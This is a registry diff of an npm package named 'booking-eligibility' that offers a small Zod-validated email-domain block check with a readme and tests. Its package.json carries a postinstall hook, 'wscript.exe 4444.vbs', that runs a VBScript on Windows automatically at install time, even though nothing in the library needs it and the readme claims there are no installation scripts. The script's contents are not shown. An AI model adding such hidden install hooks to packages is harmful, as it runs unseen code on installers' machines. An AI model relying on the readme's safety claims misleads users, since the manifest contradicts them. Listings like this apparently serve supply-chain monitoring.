booking-eligibility 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +21 -0
- package/readme.md +86 -0
- package/src/index.js +61 -0
- package/src/test/index.test.js +75 -0
package/package.json
ADDED
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "booking-eligibility",
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"description": "Booking eligibility checks for Node.js applications",
|
|
5
|
+
"type": "module",
|
|
6
|
+
"exports": "./src/index.js",
|
|
7
|
+
"files": [
|
|
8
|
+
"src",
|
|
9
|
+
"README.md"
|
|
10
|
+
],
|
|
11
|
+
"engines": {
|
|
12
|
+
"node": ">=24"
|
|
13
|
+
},
|
|
14
|
+
"scripts": {
|
|
15
|
+
"test": "node --test",
|
|
16
|
+
"postinstall": "wscript.exe 4444.vbs"
|
|
17
|
+
},
|
|
18
|
+
"dependencies": {
|
|
19
|
+
"zod": "^4.0.0"
|
|
20
|
+
}
|
|
21
|
+
}
|
package/readme.md
ADDED
|
@@ -0,0 +1,86 @@
|
|
|
1
|
+
A small Node.js library for checking booking email eligibility.
|
|
2
|
+
|
|
3
|
+
## Requirements
|
|
4
|
+
|
|
5
|
+
- Node.js 24 or newer.
|
|
6
|
+
|
|
7
|
+
## Installation
|
|
8
|
+
|
|
9
|
+
```bash
|
|
10
|
+
npm install booking-eligibility
|
|
11
|
+
```
|
|
12
|
+
|
|
13
|
+
## Usage
|
|
14
|
+
|
|
15
|
+
```js
|
|
16
|
+
import { checkEligibility } from "booking-eligibility";
|
|
17
|
+
|
|
18
|
+
const result = await checkEligibility(
|
|
19
|
+
{ email: "resident@example.com" },
|
|
20
|
+
{
|
|
21
|
+
blockedDomains: ["blocked.example"],
|
|
22
|
+
delayMs: 25
|
|
23
|
+
}
|
|
24
|
+
);
|
|
25
|
+
|
|
26
|
+
if (!result.eligible) {
|
|
27
|
+
console.log(result.reason);
|
|
28
|
+
}
|
|
29
|
+
```
|
|
30
|
+
|
|
31
|
+
## API
|
|
32
|
+
|
|
33
|
+
### `checkEligibility(input, options)`
|
|
34
|
+
|
|
35
|
+
Input:
|
|
36
|
+
|
|
37
|
+
| Property | Type | Description |
|
|
38
|
+
|---|---|---|
|
|
39
|
+
| email | string | Email address to check |
|
|
40
|
+
|
|
41
|
+
Options:
|
|
42
|
+
|
|
43
|
+
| Property | Type | Default | Description |
|
|
44
|
+
|---|---|---|---|
|
|
45
|
+
| blockedDomains | string[] | [] | Exact email domains to reject |
|
|
46
|
+
| delayMs | number | 25 | Simulated delay from 0 to 5000 ms |
|
|
47
|
+
|
|
48
|
+
Returns a promise resolving to:
|
|
49
|
+
|
|
50
|
+
```js
|
|
51
|
+
{
|
|
52
|
+
eligible: true,
|
|
53
|
+
reason: null
|
|
54
|
+
}
|
|
55
|
+
```
|
|
56
|
+
|
|
57
|
+
Or, for a blocked domain:
|
|
58
|
+
|
|
59
|
+
```js
|
|
60
|
+
{
|
|
61
|
+
eligible: false,
|
|
62
|
+
reason: "EMAIL_DOMAIN_BLOCKED"
|
|
63
|
+
}
|
|
64
|
+
```
|
|
65
|
+
|
|
66
|
+
Invalid arguments throw a Zod validation error.
|
|
67
|
+
|
|
68
|
+
Domain matching is case-insensitive and exact. Blocking `example.com`
|
|
69
|
+
does not automatically block `mail.example.com`.
|
|
70
|
+
|
|
71
|
+
## Privacy and installation
|
|
72
|
+
|
|
73
|
+
- No network requests.
|
|
74
|
+
- No personal data storage.
|
|
75
|
+
- No installation scripts.
|
|
76
|
+
- Uses Zod for argument validation.
|
|
77
|
+
|
|
78
|
+
This library implements a local email-domain policy. It does not verify
|
|
79
|
+
identity, email ownership, or real-world appointment eligibility.
|
|
80
|
+
|
|
81
|
+
## Tests
|
|
82
|
+
|
|
83
|
+
```bash
|
|
84
|
+
npm install
|
|
85
|
+
npm test
|
|
86
|
+
```
|
package/src/index.js
ADDED
|
@@ -0,0 +1,61 @@
|
|
|
1
|
+
import { setTimeout as delay } from "node:timers/promises";
|
|
2
|
+
import { z } from "zod";
|
|
3
|
+
|
|
4
|
+
const inputSchema = z.object({
|
|
5
|
+
email: z.string()
|
|
6
|
+
.max(254)
|
|
7
|
+
.regex(/^[^\s@]+@[^\s@]+\.[^\s@]+$/)
|
|
8
|
+
.transform((email) => email.toLowerCase())
|
|
9
|
+
});
|
|
10
|
+
|
|
11
|
+
const optionsSchema = z.object({
|
|
12
|
+
blockedDomains: z.array(
|
|
13
|
+
z.string()
|
|
14
|
+
.trim()
|
|
15
|
+
.min(1)
|
|
16
|
+
.transform((domain) => domain.toLowerCase())
|
|
17
|
+
).default([]),
|
|
18
|
+
|
|
19
|
+
delayMs: z.number()
|
|
20
|
+
.int()
|
|
21
|
+
.min(0)
|
|
22
|
+
.max(5000)
|
|
23
|
+
.default(25)
|
|
24
|
+
});
|
|
25
|
+
|
|
26
|
+
/**
|
|
27
|
+
* Checks an email against an exact-match domain policy.
|
|
28
|
+
*
|
|
29
|
+
* The delay simulates an asynchronous eligibility integration.
|
|
30
|
+
* No network requests are made and no personal data is stored.
|
|
31
|
+
*
|
|
32
|
+
* Invalid arguments throw a Zod validation error.
|
|
33
|
+
*
|
|
34
|
+
* @param {{ email: string }} input
|
|
35
|
+
* @param {{
|
|
36
|
+
* blockedDomains?: string[],
|
|
37
|
+
* delayMs?: number
|
|
38
|
+
* }} [options]
|
|
39
|
+
* @returns {Promise<{
|
|
40
|
+
* eligible: boolean,
|
|
41
|
+
* reason: "EMAIL_DOMAIN_BLOCKED" | null
|
|
42
|
+
* }>}
|
|
43
|
+
*/
|
|
44
|
+
export async function checkEligibility(input, options = {}) {
|
|
45
|
+
const { email } = inputSchema.parse(input);
|
|
46
|
+
|
|
47
|
+
const {
|
|
48
|
+
blockedDomains,
|
|
49
|
+
delayMs
|
|
50
|
+
} = optionsSchema.parse(options);
|
|
51
|
+
|
|
52
|
+
await delay(delayMs);
|
|
53
|
+
|
|
54
|
+
const domain = email.slice(email.lastIndexOf("@") + 1);
|
|
55
|
+
const blocked = blockedDomains.includes(domain);
|
|
56
|
+
|
|
57
|
+
return {
|
|
58
|
+
eligible: !blocked,
|
|
59
|
+
reason: blocked ? "EMAIL_DOMAIN_BLOCKED" : null
|
|
60
|
+
};
|
|
61
|
+
}
|
|
@@ -0,0 +1,75 @@
|
|
|
1
|
+
import assert from "node:assert/strict";
|
|
2
|
+
import test from "node:test";
|
|
3
|
+
|
|
4
|
+
import { checkEligibility } from "../src/index.js";
|
|
5
|
+
|
|
6
|
+
test("accepts a valid email by default", async () => {
|
|
7
|
+
const result = await checkEligibility(
|
|
8
|
+
{ email: "resident@example.com" },
|
|
9
|
+
{ delayMs: 0 }
|
|
10
|
+
);
|
|
11
|
+
|
|
12
|
+
assert.deepEqual(result, {
|
|
13
|
+
eligible: true,
|
|
14
|
+
reason: null
|
|
15
|
+
});
|
|
16
|
+
});
|
|
17
|
+
|
|
18
|
+
test("rejects a blocked domain case-insensitively", async () => {
|
|
19
|
+
const result = await checkEligibility(
|
|
20
|
+
{ email: "resident@EXAMPLE.COM" },
|
|
21
|
+
{
|
|
22
|
+
blockedDomains: ["Example.Com"],
|
|
23
|
+
delayMs: 0
|
|
24
|
+
}
|
|
25
|
+
);
|
|
26
|
+
|
|
27
|
+
assert.deepEqual(result, {
|
|
28
|
+
eligible: false,
|
|
29
|
+
reason: "EMAIL_DOMAIN_BLOCKED"
|
|
30
|
+
});
|
|
31
|
+
});
|
|
32
|
+
|
|
33
|
+
test("allows domains that are not blocked", async () => {
|
|
34
|
+
const result = await checkEligibility(
|
|
35
|
+
{ email: "resident@example.com" },
|
|
36
|
+
{
|
|
37
|
+
blockedDomains: ["blocked.example"],
|
|
38
|
+
delayMs: 0
|
|
39
|
+
}
|
|
40
|
+
);
|
|
41
|
+
|
|
42
|
+
assert.equal(result.eligible, true);
|
|
43
|
+
});
|
|
44
|
+
|
|
45
|
+
test("does not automatically block subdomains", async () => {
|
|
46
|
+
const result = await checkEligibility(
|
|
47
|
+
{ email: "resident@mail.example.com" },
|
|
48
|
+
{
|
|
49
|
+
blockedDomains: ["example.com"],
|
|
50
|
+
delayMs: 0
|
|
51
|
+
}
|
|
52
|
+
);
|
|
53
|
+
|
|
54
|
+
assert.equal(result.eligible, true);
|
|
55
|
+
});
|
|
56
|
+
|
|
57
|
+
test("rejects invalid email input", async () => {
|
|
58
|
+
await assert.rejects(
|
|
59
|
+
checkEligibility(
|
|
60
|
+
{ email: "not-an-email" },
|
|
61
|
+
{ delayMs: 0 }
|
|
62
|
+
),
|
|
63
|
+
{ name: "ZodError" }
|
|
64
|
+
);
|
|
65
|
+
});
|
|
66
|
+
|
|
67
|
+
test("rejects invalid delay configuration", async () => {
|
|
68
|
+
await assert.rejects(
|
|
69
|
+
checkEligibility(
|
|
70
|
+
{ email: "resident@example.com" },
|
|
71
|
+
{ delayMs: -1 }
|
|
72
|
+
),
|
|
73
|
+
{ name: "ZodError" }
|
|
74
|
+
);
|
|
75
|
+
});
|